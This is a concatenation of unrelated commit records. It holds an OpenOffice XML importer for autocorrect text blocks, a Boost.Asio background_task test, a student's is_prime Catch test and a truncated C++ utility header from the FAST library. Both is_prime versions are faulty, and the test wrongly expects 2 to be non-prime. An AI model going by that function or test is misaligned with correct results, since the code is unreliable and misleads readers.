_XMLOFF_XMLNMSPE_HXX\n#include <xmloff\/xmlnmspe.hxx>\n#endif\n#ifndef _UNOTOOLS_CHARCLASS_HXX\n#include <unotools\/charclass.hxx>\n#endif\n#ifndef _XMLOFF_XMLTOKEN_HXX\n#include <xmloff\/xmltoken.hxx>\n#endif\n#ifndef _SWTYPES_HXX\n#include <swtypes.hxx>\n#endif\n\n\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star;\nusing namespace ::xmloff::token;\nusing namespace ::rtl;\n\nSwXMLBlockListContext::SwXMLBlockListContext(\n   SwXMLBlockListImport& rImport,\n   sal_uInt16 nPrefix,\n   const OUString& rLocalName,\n   const com::sun::star::uno::Reference<\n   com::sun::star::xml::sax::XAttributeList > & xAttrList ) :\n    rLocalRef (rImport),\n    SvXMLImportContext ( rImport, nPrefix, rLocalName )\n{\n    sal_Int16 nAttrCount = xAttrList.is() ? xAttrList->getLength() : 0;\n    for (sal_Int16 i=0; i < nAttrCount; i++)\n    {\n        const OUString& rAttrName = xAttrList->getNameByIndex( i );\n        OUString aLocalName;\n        sal_uInt16 nPrefix = rImport.GetNamespaceMap().GetKeyByAttrName( rAttrName, &aLocalName);\n        const OUString& rAttrValue = xAttrList->getValueByIndex( i );\n        if ( XML_NAMESPACE_BLOCKLIST == nPrefix )\n        {\n            if ( IsXMLToken ( aLocalName, XML_LIST_NAME ) )\n            {\n                rImport.getBlockList().SetName(rAttrValue);\n                break;\n            }\n        }\n    }\n}\n\nSwXMLBlockListContext::~SwXMLBlockListContext ( void )\n{\n}\n\nSvXMLImportContext *SwXMLBlockListContext::CreateChildContext(\n    sal_uInt16 nPrefix,\n    const OUString& rLocalName,\n    const Reference< xml::sax::XAttributeList > & xAttrList )\n{\n    SvXMLImportContext *pContext = 0;\n    if (nPrefix == XML_NAMESPACE_BLOCKLIST &&\n        IsXMLToken ( rLocalName, XML_BLOCK ) )\n        pContext = new SwXMLBlockContext (rLocalRef, nPrefix, rLocalName, xAttrList);\n    else\n        pContext = new SvXMLImportContext( rLocalRef, nPrefix, rLocalName);\n    return pContext;\n}\n\nSwXMLBlockContext::SwXMLBlockContext(\n   SwXMLBlockListImport& rImport,\n   sal_uInt16 nPrefix,\n   const OUString& rLocalName,\n   const com::sun::star::uno::Reference<\n   com::sun::star::xml::sax::XAttributeList > & xAttrList ) :\n    rLocalRef(rImport),\n    SvXMLImportContext ( rImport, nPrefix, rLocalName )\n{\n    static const CharClass & rCC = GetAppCharClass();\n    String aShort, aLong, aPackageName;\n    BOOL bTextOnly = FALSE;\n\n    sal_Int16 nAttrCount = xAttrList.is() ? xAttrList->getLength() : 0;\n    for (sal_Int16 i=0; i < nAttrCount; i++)\n    {\n        const OUString& rAttrName = xAttrList->getNameByIndex( i );\n        OUString aLocalName;\n        sal_uInt16 nPrefix = rImport.GetNamespaceMap().GetKeyByAttrName( rAttrName, &aLocalName);\n        const OUString& rAttrValue = xAttrList->getValueByIndex( i );\n        if (XML_NAMESPACE_BLOCKLIST == nPrefix)\n        {\n            if ( IsXMLToken ( aLocalName, XML_ABBREVIATED_NAME ) )\n            {\n                aShort = rCC.upper(rAttrValue);\n            }\n            else if ( IsXMLToken ( aLocalName, XML_NAME ) )\n            {\n                aLong = rAttrValue;\n            }\n            else if ( IsXMLToken ( aLocalName, XML_PACKAGE_NAME ) )\n            {\n                aPackageName = rAttrValue;\n            }\n            else if ( IsXMLToken ( aLocalName, XML_UNFORMATTED_TEXT ) )\n            {\n                if ( IsXMLToken ( rAttrValue, XML_TRUE ) )\n                    bTextOnly = TRUE;\n            }\n        }\n    }\n    if (!aShort.Len() || !aLong.Len() || !aPackageName.Len())\n        return;\n    rImport.getBlockList().AddName( aShort, aLong, aPackageName, bTextOnly);\n}\n\nSwXMLBlockContext::~SwXMLBlockContext ( void )\n{\n}\n\nSwXMLTextBlockDocumentContext::SwXMLTextBlockDocumentContext(\n   SwXMLTextBlockImport& rImport,\n   sal_uInt16 nPrefix,\n   const OUString& rLocalName,\n   const com::sun::star::uno::Reference<\n   com::sun::star::xml::sax::XAttributeList > & xAttrList ) :\n    rLocalRef(rImport),\n    SvXMLImportContext ( rImport, nPrefix, rLocalName )\n{\n}\n\nSvXMLImportContext *SwXMLTextBlockDocumentContext::CreateChildContext(\n    sal_uInt16 nPrefix,\n    const OUString& rLocalName,\n    const Reference< xml::sax::XAttributeList > & xAttrList )\n{\n    SvXMLImportContext *pContext = 0;\n    if (nPrefix == XML_NAMESPACE_OFFICE &&\n        IsXMLToken ( rLocalName, XML_BODY ) )\n        pContext = new SwXMLTextBlockBodyContext (rLocalRef, nPrefix, rLocalName, xAttrList);\n    else\n        pContext = new SvXMLImportContext( rLocalRef, nPrefix, rLocalName);\n    return pContext;\n}\nSwXMLTextBlockDocumentContext::~SwXMLTextBlockDocumentContext ( void )\n{\n}\nSwXMLTextBlockBodyContext::SwXMLTextBlockBodyContext(\n   SwXMLTextBlockImport& rImport,\n   sal_uInt16 nPrefix,\n   const OUString& rLocalName,\n   const com::sun::star::uno::Reference<\n   com::sun::star::xml::sax::XAttributeList > & xAttrList ) :\n    rLocalRef(rImport),\n    SvXMLImportContext ( rImport, nPrefix, rLocalName )\n{\n}\n\nSvXMLImportContext *SwXMLTextBlockBodyContext::CreateChildContext(\n    sal_uInt16 nPrefix,\n    const OUString& rLocalName,\n    const Reference< xml::sax::XAttributeList > & xAttrList )\n{\n    SvXMLImportContext *pContext = 0;\n    if (nPrefix == XML_NAMESPACE_TEXT &&\n        IsXMLToken ( rLocalName, XML_P ) )\n        pContext = new SwXMLTextBlockParContext (rLocalRef, nPrefix, rLocalName, xAttrList);\n    else\n        pContext = new SvXMLImportContext( rLocalRef, nPrefix, rLocalName);\n    return pContext;\n}\nSwXMLTextBlockBodyContext::~SwXMLTextBlockBodyContext ( void )\n{\n}\nSwXMLTextBlockParContext::SwXMLTextBlockParContext(\n   SwXMLTextBlockImport& rImport,\n   sal_uInt16 nPrefix,\n   const OUString& rLocalName,\n   const com::sun::star::uno::Reference<\n   com::sun::star::xml::sax::XAttributeList > & xAttrList ) :\n    rLocalRef(rImport),\n    SvXMLImportContext ( rImport, nPrefix, rLocalName )\n{\n}\n\nvoid SwXMLTextBlockParContext::Characters( const ::rtl::OUString& rChars )\n{\n    rLocalRef.m_rText.Append ( rChars.getStr());\n}\nSwXMLTextBlockParContext::~SwXMLTextBlockParContext ( void )\n{\n    if (rLocalRef.bTextOnly)\n        rLocalRef.m_rText.AppendAscii( \"\\015\" );\n    else\n    {\n        if (rLocalRef.m_rText.GetChar ( rLocalRef.m_rText.Len()) != ' ' )\n            rLocalRef.m_rText.AppendAscii( \" \" );\n    }\n}\n<commit_msg>INTEGRATION: CWS sb19 (1.6.876); FILE MERGED 2004\/11\/04 15:45:26 os 1.6.876.1: #i36685# AutoCorrection using attributed text fixed<commit_after>\/*************************************************************************\n *\n *  $RCSfile: SwXMLBlockListContext.cxx,v $\n *\n *  $Revision: 1.7 $\n *\n *  last change: $Author: rt $ $Date: 2005-01-11 12:21:24 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): Martin Gallwey (gallwey@sun.com)\n *\n *\n ************************************************************************\/\n\n#pragma hdrstop\n\n#ifndef _SW_XMLBLOCKLISTCONTEXT_HXX\n#include <SwXMLBlockListContext.hxx>\n#endif\n\n#ifndef _SW_XMLBLOCKIMPORT_HXX\n#include <SwXMLBlockImport.hxx>\n#endif\n\n#ifndef _SW_XMLTEXTBLOCKS_HXX\n#include <SwXMLTextBlocks.hxx>\n#endif\n\n#ifndef _XMLOFF_XMLIMP_HXX\n#include <xmloff\/xmlimp.hxx>\n#endif\n#ifndef _XMLOFF_NMSPMAP_HXX\n#include <xmloff\/nmspmap.hxx>\n#endif\n#ifndef _XMLOFF_XMLNMSPE_HXX\n#include <xmloff\/xmlnmspe.hxx>\n#endif\n#ifndef _UNOTOOLS_CHARCLASS_HXX\n#include <unotools\/charclass.hxx>\n#endif\n#ifndef _XMLOFF_XMLTOKEN_HXX\n#include <xmloff\/xmltoken.hxx>\n#endif\n#ifndef _SWTYPES_HXX\n#include <swtypes.hxx>\n#endif\n\n\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star;\nusing namespace ::xmloff::token;\nusing namespace ::rtl;\n\nSwXMLBlockListContext::SwXMLBlockListContext(\n   SwXMLBlockListImport& rImport,\n   sal_uInt16 nPrefix,\n   const OUString& rLocalName,\n   const com::sun::star::uno::Reference<\n   com::sun::star::xml::sax::XAttributeList > & xAttrList ) :\n    rLocalRef (rImport),\n    SvXMLImportContext ( rImport, nPrefix, rLocalName )\n{\n    sal_Int16 nAttrCount = xAttrList.is() ? xAttrList->getLength() : 0;\n    for (sal_Int16 i=0; i < nAttrCount; i++)\n    {\n        const OUString& rAttrName = xAttrList->getNameByIndex( i );\n        OUString aLocalName;\n        sal_uInt16 nPrefix = rImport.GetNamespaceMap().GetKeyByAttrName( rAttrName, &aLocalName);\n        const OUString& rAttrValue = xAttrList->getValueByIndex( i );\n        if ( XML_NAMESPACE_BLOCKLIST == nPrefix )\n        {\n            if ( IsXMLToken ( aLocalName, XML_LIST_NAME ) )\n            {\n                rImport.getBlockList().SetName(rAttrValue);\n                break;\n            }\n        }\n    }\n}\n\nSwXMLBlockListContext::~SwXMLBlockListContext ( void )\n{\n}\n\nSvXMLImportContext *SwXMLBlockListContext::CreateChildContext(\n    sal_uInt16 nPrefix,\n    const OUString& rLocalName,\n    const Reference< xml::sax::XAttributeList > & xAttrList )\n{\n    SvXMLImportContext *pContext = 0;\n    if (nPrefix == XML_NAMESPACE_BLOCKLIST &&\n        IsXMLToken ( rLocalName, XML_BLOCK ) )\n        pContext = new SwXMLBlockContext (rLocalRef, nPrefix, rLocalName, xAttrList);\n    else\n        pContext = new SvXMLImportContext( rLocalRef, nPrefix, rLocalName);\n    return pContext;\n}\n\nSwXMLBlockContext::SwXMLBlockContext(\n   SwXMLBlockListImport& rImport,\n   sal_uInt16 nPrefix,\n   const OUString& rLocalName,\n   const com::sun::star::uno::Reference<\n   com::sun::star::xml::sax::XAttributeList > & xAttrList ) :\n    rLocalRef(rImport),\n    SvXMLImportContext ( rImport, nPrefix, rLocalName )\n{\n    static const CharClass & rCC = GetAppCharClass();\n    String aShort, aLong, aPackageName;\n    BOOL bTextOnly = FALSE;\n\n    sal_Int16 nAttrCount = xAttrList.is() ? xAttrList->getLength() : 0;\n    for (sal_Int16 i=0; i < nAttrCount; i++)\n    {\n        const OUString& rAttrName = xAttrList->getNameByIndex( i );\n        OUString aLocalName;\n        sal_uInt16 nPrefix = rImport.GetNamespaceMap().GetKeyByAttrName( rAttrName, &aLocalName);\n        const OUString& rAttrValue = xAttrList->getValueByIndex( i );\n        if (XML_NAMESPACE_BLOCKLIST == nPrefix)\n        {\n            if ( IsXMLToken ( aLocalName, XML_ABBREVIATED_NAME ) )\n            {\n                aShort = rCC.upper(rAttrValue);\n            }\n            else if ( IsXMLToken ( aLocalName, XML_NAME ) )\n            {\n                aLong = rAttrValue;\n            }\n            else if ( IsXMLToken ( aLocalName, XML_PACKAGE_NAME ) )\n            {\n                aPackageName = rAttrValue;\n            }\n            else if ( IsXMLToken ( aLocalName, XML_UNFORMATTED_TEXT ) )\n            {\n                if ( IsXMLToken ( rAttrValue, XML_TRUE ) )\n                    bTextOnly = TRUE;\n            }\n        }\n    }\n    if (!aShort.Len() || !aLong.Len() || !aPackageName.Len())\n        return;\n    rImport.getBlockList().AddName( aShort, aLong, aPackageName, bTextOnly);\n}\n\nSwXMLBlockContext::~SwXMLBlockContext ( void )\n{\n}\n\nSwXMLTextBlockDocumentContext::SwXMLTextBlockDocumentContext(\n   SwXMLTextBlockImport& rImport,\n   sal_uInt16 nPrefix,\n   const OUString& rLocalName,\n   const com::sun::star::uno::Reference<\n   com::sun::star::xml::sax::XAttributeList > & xAttrList ) :\n    rLocalRef(rImport),\n    SvXMLImportContext ( rImport, nPrefix, rLocalName )\n{\n}\n\nSvXMLImportContext *SwXMLTextBlockDocumentContext::CreateChildContext(\n    sal_uInt16 nPrefix,\n    const OUString& rLocalName,\n    const Reference< xml::sax::XAttributeList > & xAttrList )\n{\n    SvXMLImportContext *pContext = 0;\n    if (nPrefix == XML_NAMESPACE_OFFICE &&\n        IsXMLToken ( rLocalName, XML_BODY ) )\n        pContext = new SwXMLTextBlockBodyContext (rLocalRef, nPrefix, rLocalName, xAttrList);\n    else\n        pContext = new SvXMLImportContext( rLocalRef, nPrefix, rLocalName);\n    return pContext;\n}\nSwXMLTextBlockDocumentContext::~SwXMLTextBlockDocumentContext ( void )\n{\n}\n\n\nSwXMLTextBlockTextContext::SwXMLTextBlockTextContext(\n   SwXMLTextBlockImport& rImport,\n   sal_uInt16 nPrefix,\n   const OUString& rLocalName,\n   const com::sun::star::uno::Reference<\n   com::sun::star::xml::sax::XAttributeList > & xAttrList ) :\n    rLocalRef(rImport),\n    SvXMLImportContext ( rImport, nPrefix, rLocalName )\n{\n}\n\nSvXMLImportContext *SwXMLTextBlockTextContext::CreateChildContext(\n    sal_uInt16 nPrefix,\n    const OUString& rLocalName,\n    const Reference< xml::sax::XAttributeList > & xAttrList )\n{\n    SvXMLImportContext *pContext = 0;\n    if (nPrefix == XML_NAMESPACE_TEXT &&\n        IsXMLToken ( rLocalName, XML_P ) )\n        pContext = new SwXMLTextBlockParContext (rLocalRef, nPrefix, rLocalName, xAttrList);\n    else\n        pContext = new SvXMLImportContext( rLocalRef, nPrefix, rLocalName);\n    return pContext;\n}\nSwXMLTextBlockTextContext::~SwXMLTextBlockTextContext ( void )\n{\n}\n\n\nSwXMLTextBlockBodyContext::SwXMLTextBlockBodyContext(\n   SwXMLTextBlockImport& rImport,\n   sal_uInt16 nPrefix,\n   const OUString& rLocalName,\n   const com::sun::star::uno::Reference<\n   com::sun::star::xml::sax::XAttributeList > & xAttrList ) :\n    rLocalRef(rImport),\n    SvXMLImportContext ( rImport, nPrefix, rLocalName )\n{\n}\n\nSvXMLImportContext *SwXMLTextBlockBodyContext::CreateChildContext(\n    sal_uInt16 nPrefix,\n    const OUString& rLocalName,\n    const Reference< xml::sax::XAttributeList > & xAttrList )\n{\n    SvXMLImportContext *pContext = 0;\n    if (nPrefix == XML_NAMESPACE_OFFICE &&\n        IsXMLToken ( rLocalName, XML_TEXT ) )\n        pContext = new SwXMLTextBlockTextContext (rLocalRef, nPrefix, rLocalName, xAttrList);\n    else if (nPrefix == XML_NAMESPACE_TEXT &&\n        IsXMLToken ( rLocalName, XML_P ) )\n        pContext = new SwXMLTextBlockParContext (rLocalRef, nPrefix, rLocalName, xAttrList);\n    else\n        pContext = new SvXMLImportContext( rLocalRef, nPrefix, rLocalName);\n    return pContext;\n}\nSwXMLTextBlockBodyContext::~SwXMLTextBlockBodyContext ( void )\n{\n}\nSwXMLTextBlockParContext::SwXMLTextBlockParContext(\n   SwXMLTextBlockImport& rImport,\n   sal_uInt16 nPrefix,\n   const OUString& rLocalName,\n   const com::sun::star::uno::Reference<\n   com::sun::star::xml::sax::XAttributeList > & xAttrList ) :\n    rLocalRef(rImport),\n    SvXMLImportContext ( rImport, nPrefix, rLocalName )\n{\n}\n\nvoid SwXMLTextBlockParContext::Characters( const ::rtl::OUString& rChars )\n{\n    rLocalRef.m_rText.Append ( rChars.getStr());\n}\nSwXMLTextBlockParContext::~SwXMLTextBlockParContext ( void )\n{\n    if (rLocalRef.bTextOnly)\n        rLocalRef.m_rText.AppendAscii( \"\\015\" );\n    else\n    {\n        if (rLocalRef.m_rText.GetChar ( rLocalRef.m_rText.Len()) != ' ' )\n            rLocalRef.m_rText.AppendAscii( \" \" );\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <boost\/asio\/async_result.hpp>\n#include <boost\/test\/unit_test.hpp>\n#include <boost\/asio\/spawn.hpp>\n#include <boost\/asio\/use_future.hpp>\n#include <silicium\/boost_threading.hpp>\n#include <silicium\/config.hpp>\n\nnamespace Si\n{\n\tnamespace asio\n\t{\n\t\ttemplate <class T, class ThreadingAPI>\n\t\tstruct background_task\n\t\t{\n\t\t\ttemplate <class F, class CompletionToken>\n\t\t\tauto async_call(F &&function, CompletionToken &&token)\n\t\t\t{\n\t\t\t\ttypedef typename boost::asio::handler_type<CompletionToken, void(T)>::type handler_type;\n\t\t\t\thandler_type handler(std::forward<CompletionToken>(token));\n\t\t\t\tboost::asio::async_result<handler_type> result(handler);\n\t\t\t\tm_handle = ThreadingAPI::launch_async([\n\t\t\t\t\tSILICIUM_MOVE_CAPTURE(function, std::forward<F>(function)),\n\t\t\t\t\tSILICIUM_MOVE_CAPTURE(handler, std::move(handler))\n\t\t\t\t]() mutable\n\t\t\t\t{\n\t\t\t\t\tstd::move(handler)(std::forward<F>(function)());\n\t\t\t\t});\n\t\t\t\treturn result.get();\n\t\t\t}\n\n\t\t\t~background_task()\n\t\t\t{\n\t\t\t\tm_handle.get();\n\t\t\t}\n\n\t\tprivate:\n\n\t\t\ttypename ThreadingAPI::template future<void>::type m_handle;\n\t\t};\n\t}\n}\n\nBOOST_AUTO_TEST_CASE(background_task_async_call)\n{\n\tSi::asio::background_task<int, Si::boost_threading> task;\n\tstd::future<int> f = task.async_call(\n\t\t[]\n\t\t{\n\t\t\treturn 4;\n\t\t},\n\t\tboost::asio::use_future\n\t);\n\tBOOST_CHECK_EQUAL(4, f.get());\n}\n\nBOOST_AUTO_TEST_CASE(background_task_async_call_into_coroutine)\n{\n\tboost::thread::id const test_thread = boost::this_thread::get_id();\n\tboost::thread::id background_thread;\n\t{\n\t\tSi::asio::background_task<Si::nothing, Si::boost_threading> task;\n\t\tauto handler = [](){};\n\t\tboost::asio::spawn(\n\t\t\tstd::move(handler),\n\t\t\t[&task, &background_thread, test_thread](boost::asio::basic_yield_context<decltype(handler)> yield)\n\t\t{\n\t\t\tBOOST_CHECK_EQUAL(test_thread, boost::this_thread::get_id());\n\t\t\ttask.async_call(\n\t\t\t\t[]()\n\t\t\t\t{\n\t\t\t\t\treturn Si::nothing();\n\t\t\t\t}, yield);\n\t\t\t\/\/the coroutine is running the background thread now\n\t\t\tbackground_thread = boost::this_thread::get_id();\n\t\t\tBOOST_CHECK_NE(test_thread, background_thread);\n\t\t});\n\t}\n\tBOOST_CHECK_NE(background_thread, boost::thread::id());\n\tBOOST_CHECK_NE(background_thread, test_thread);\n}\n<commit_msg>make background_task movable<commit_after>#include <boost\/asio\/async_result.hpp>\n#include <boost\/test\/unit_test.hpp>\n#include <boost\/asio\/spawn.hpp>\n#include <boost\/asio\/use_future.hpp>\n#include <silicium\/boost_threading.hpp>\n#include <silicium\/config.hpp>\n\nnamespace Si\n{\n\tnamespace asio\n\t{\n\t\ttemplate <class T, class ThreadingAPI>\n\t\tstruct background_task\n\t\t{\n\t\t\tbackground_task()\n\t\t\t{\n\t\t\t}\n\n\t\t\tbackground_task(background_task &&other) BOOST_NOEXCEPT\n\t\t\t\t: m_handle(other.m_handle)\n\t\t\t{\n\t\t\t}\n\n\t\t\tbackground_task &operator = (background_task &&other) BOOST_NOEXCEPT\n\t\t\t{\n\t\t\t\tm_handle = std::move(other.m_handle);\n\t\t\t\treturn *this;\n\t\t\t}\n\n\t\t\ttemplate <class F, class CompletionToken>\n\t\t\tauto async_call(F &&function, CompletionToken &&token)\n\t\t\t{\n\t\t\t\ttypedef typename boost::asio::handler_type<CompletionToken, void(T)>::type handler_type;\n\t\t\t\thandler_type handler(std::forward<CompletionToken>(token));\n\t\t\t\tboost::asio::async_result<handler_type> result(handler);\n\t\t\t\tm_handle = ThreadingAPI::launch_async([\n\t\t\t\t\tSILICIUM_MOVE_CAPTURE(function, std::forward<F>(function)),\n\t\t\t\t\tSILICIUM_MOVE_CAPTURE(handler, std::move(handler))\n\t\t\t\t]() mutable\n\t\t\t\t{\n\t\t\t\t\tstd::move(handler)(std::forward<F>(function)());\n\t\t\t\t});\n\t\t\t\treturn result.get();\n\t\t\t}\n\n\t\t\t~background_task()\n\t\t\t{\n\t\t\t\tm_handle.get();\n\t\t\t}\n\n\t\tprivate:\n\n\t\t\ttypename ThreadingAPI::template future<void>::type m_handle;\n\n\t\t\tSILICIUM_DISABLE_COPY(background_task)\n\t\t};\n\t}\n}\n\nBOOST_AUTO_TEST_CASE(background_task_async_call)\n{\n\tSi::asio::background_task<int, Si::boost_threading> task;\n\tstd::future<int> f = task.async_call(\n\t\t[]\n\t\t{\n\t\t\treturn 4;\n\t\t},\n\t\tboost::asio::use_future\n\t);\n\tBOOST_CHECK_EQUAL(4, f.get());\n}\n\nBOOST_AUTO_TEST_CASE(background_task_async_call_into_coroutine)\n{\n\tboost::thread::id const test_thread = boost::this_thread::get_id();\n\tboost::thread::id background_thread;\n\t{\n\t\tSi::asio::background_task<Si::nothing, Si::boost_threading> task;\n\t\tauto handler = [](){};\n\t\tboost::asio::spawn(\n\t\t\tstd::move(handler),\n\t\t\t[&task, &background_thread, test_thread](boost::asio::basic_yield_context<decltype(handler)> yield)\n\t\t{\n\t\t\tBOOST_CHECK_EQUAL(test_thread, boost::this_thread::get_id());\n\t\t\ttask.async_call(\n\t\t\t\t[]()\n\t\t\t\t{\n\t\t\t\t\treturn Si::nothing();\n\t\t\t\t}, yield);\n\t\t\t\/\/the coroutine is running the background thread now\n\t\t\tbackground_thread = boost::this_thread::get_id();\n\t\t\tBOOST_CHECK_NE(test_thread, background_thread);\n\t\t});\n\t}\n\tBOOST_CHECK_NE(background_thread, boost::thread::id());\n\tBOOST_CHECK_NE(background_thread, test_thread);\n}\n<|endoftext|>"}
{"text":"<commit_before># include <iostream> \/\/ Header\n# define CATCH_CONFIG_RUNNER\nusing namespace std; \/\/ Namensraum finden\n# include <catch.hpp>  \n\n\nint number, i;\nbool prime;\n\n\nbool is_prime(int number)\n{\n    int i = 0;\n    for(int i=2; i < number; i++)\n    {\n       if(number%i != 0)\n          {prime = true;}\n       else \n          {prime = false;}\n    }  \n}\n\nTEST_CASE (\"is_prime\", \"[is_prime]\")\n{\nREQUIRE(is_prime (2) == false);\nREQUIRE(is_prime (6) == false);\nREQUIRE(is_prime (4) == false);\nREQUIRE(is_prime (7) == true);\nREQUIRE(is_prime (11) == true);\nREQUIRE(is_prime (13) == true);\nREQUIRE(is_prime (8) == false);\nREQUIRE(is_prime (60) == false);\n}\n\n\nint main(int argc, char* argv[])\n{\n  return Catch::Session().run(argc, argv);\n}<commit_msg>is_prime Korrektur<commit_after># include <iostream> \/\/ Header\n# define CATCH_CONFIG_RUNNER\nusing namespace std; \/\/ Namensraum finden\n# include <catch.hpp>  \n\n\nint number, i;\nbool prime;\n\n\nbool is_prime(int number)\n{\n    int i = 0;\n    for(int i=2; i < number; i++)\n    {\n       if(number%i == 0)\n          {prime = false;}\n       else \n          {prime = true;}\n    return prime;\n    }  \n}\n\nTEST_CASE (\"is_prime\", \"[is_prime]\")\n{\nREQUIRE(is_prime (2) == false);\nREQUIRE(is_prime (6) == false);\nREQUIRE(is_prime (4) == false);\nREQUIRE(is_prime (7) == true);\nREQUIRE(is_prime (11) == true);\nREQUIRE(is_prime (13) == true);\nREQUIRE(is_prime (8) == false);\nREQUIRE(is_prime (60) == false);\n}\n\n\nint main(int argc, char* argv[])\n{\n  return Catch::Session().run(argc, argv);\n}<|endoftext|>"}
{"text":"<commit_before>#ifndef UTILITY_HPP_\n#define UTILITY_HPP_\n#include \"FAST\/ExecutionDevice.hpp\"\n#include \"FAST\/Data\/DataTypes.hpp\"\n#include <algorithm>\n#include <functional>\n#include <cctype>\n#include <locale>\n\n\/\/ This file contains a set of utility functions\n\n\/\/ Undefine windows crap\n#undef min\n#undef max\n\nnamespace fast {\n\nFAST_EXPORT double log2(double n);\nFAST_EXPORT double round(double n);\nFAST_EXPORT double round(double n, int decimals);\n\n\/**\n * Does simply x^2 = x*x\n * @tparam T\n * @param x a numeric value\n * @return x*x\n *\/\ntemplate <class T>\nT square(T x) {\n    return x*x;\n}\n\ntemplate <typename ...Args>\nstd::string format(std::string format, Args && ... args) {\n    auto size = std::snprintf(nullptr, 0, format.c_str(), std::forward<Args>(args)...);\n    std::string output(size + 1, '\\0');\n    std::sprintf(&output[0], format.c_str(), std::forward<Args>(args)...);\n    return output;\n}\n\ntemplate<class T>\nT min(T a, T b) {\n    return a < b ? a : b;\n}\n\ntemplate<class T>\nT max(T a, T b) {\n    return a > b ? a : b;\n}\n\ntemplate<class T>\nT sign(T value) {\n    if(value > 0) {\n        return 1;\n    } else if (value < 0) {\n        return -1;\n    } else {\n        return 0;\n    }\n}\n\nFAST_EXPORT unsigned int getPowerOfTwoSize(unsigned int size);\nFAST_EXPORT void* allocateDataArray(unsigned int voxels, DataType type, unsigned int nrOfComponents);\ntemplate <class T>\nfloat getSumFromOpenCLImageResult(void* voidData, unsigned int size, unsigned int nrOfComponents) {\n    T* data = (T*)voidData;\n    float sum = 0.0f;\n    for(unsigned int i = 0; i < size*nrOfComponents; i += nrOfComponents) {\n        sum += data[i];\n    }\n    return sum;\n}\n\nFAST_EXPORT void getMaxAndMinFromOpenCLImage(OpenCLDevice::pointer device, cl::Image2D image, DataType type, float* min, float* max);\nFAST_EXPORT void getMaxAndMinFromOpenCLImage(OpenCLDevice::pointer device, cl::Image3D image, DataType type, float* min, float* max);\nFAST_EXPORT void getMaxAndMinFromOpenCLBuffer(OpenCLDevice::pointer device, cl::Buffer buffer, unsigned int size, DataType type, float* min, float* max);\nFAST_EXPORT void getIntensitySumFromOpenCLImage(OpenCLDevice::pointer device, cl::Image2D image, DataType type, float* sum);\n\ntemplate <class T>\nvoid getMaxAndMinFromData(void* voidData, unsigned int nrOfElements, float* min, float* max) {\n    T* data = (T*)voidData;\n\n    *min = std::numeric_limits<float>::max();\n    *max = std::numeric_limits<float>::min();\n    for(unsigned int i = 0; i < nrOfElements; i++) {\n        if((float)data[i] < *min) {\n            *min = (float)data[i];\n        }\n        if((float)data[i] > *max) {\n            *max = (float)data[i];\n        }\n    }\n}\n\ntemplate <class T>\nfloat getSumFromData(void* voidData, unsigned int nrOfElements) {\n    T* data = (T*)voidData;\n\n    float sum = 0.0f;\n    for(unsigned int i = 0; i < nrOfElements; i++) {\n        sum += (float)data[i];\n    }\n    return sum;\n}\n\nFAST_EXPORT cl::size_t<3> createRegion(unsigned int x, unsigned int y, unsigned int z);\nFAST_EXPORT cl::size_t<3> createRegion(Vector3ui size);\nFAST_EXPORT cl::size_t<3> createOrigoRegion();\n\nFAST_EXPORT std::string getCLErrorString(cl_int err);\n\n\/**\n * Function for splitting a string\n * @param input string\n * @param delimiter string\n * @return vector of strings\n *\/\nFAST_EXPORT std::vector<std::string> split(const std::string input, const std::string& delimiter = \" \");\n\n\/\/ trim from start (in place)\nstatic inline void ltrim(std::string &s) {\n    s.erase(s.begin(), std::find_if(s.begin(), s.end(),\n                                    std::not1(std::ptr_fun<int, int>(std::isspace))));\n}\n\n\/\/ trim from end (in place)\nstatic inline void rtrim(std::string &s) {\n    s.erase(std::find_if(s.rbegin(), s.rend(),\n                         std::not1(std::ptr_fun<int, int>(std::isspace))).base(), s.end());\n}\n\n\/\/ trim from both ends (in place)\nstatic inline void trim(std::string &s) {\n    ltrim(s);\n    rtrim(s);\n}\n\n\/*\n * Replace all occurences of from to to in str\n *\/\nFAST_EXPORT std::string replace(std::string str, std::string find, std::string replacement);\n\ntemplate <class T>\nstatic inline void hash_combine(std::size_t& seed, const T& v)\n{\n    std::hash<T> hasher;\n    seed ^= hasher(v) + 0x9e3779b9 + (seed<<6) + (seed>>2);\n}\n\nFAST_EXPORT Matrix4f loadPerspectiveMatrix(float fovy, float aspect, float zNear, float zFar);\n\nFAST_EXPORT Matrix4f loadOrthographicMatrix(float left, float right, float bottom, float top, float zNear, float zFar);\n\n\/**\n * Creates a directory at the given path.\n * Throws exception if it fails\n *\/\nFAST_EXPORT void createDirectory(std::string path);\n\n\/**\n * Creates all directories in the given path.\n * Throws exception if it fails\n *\/\nFAST_EXPORT 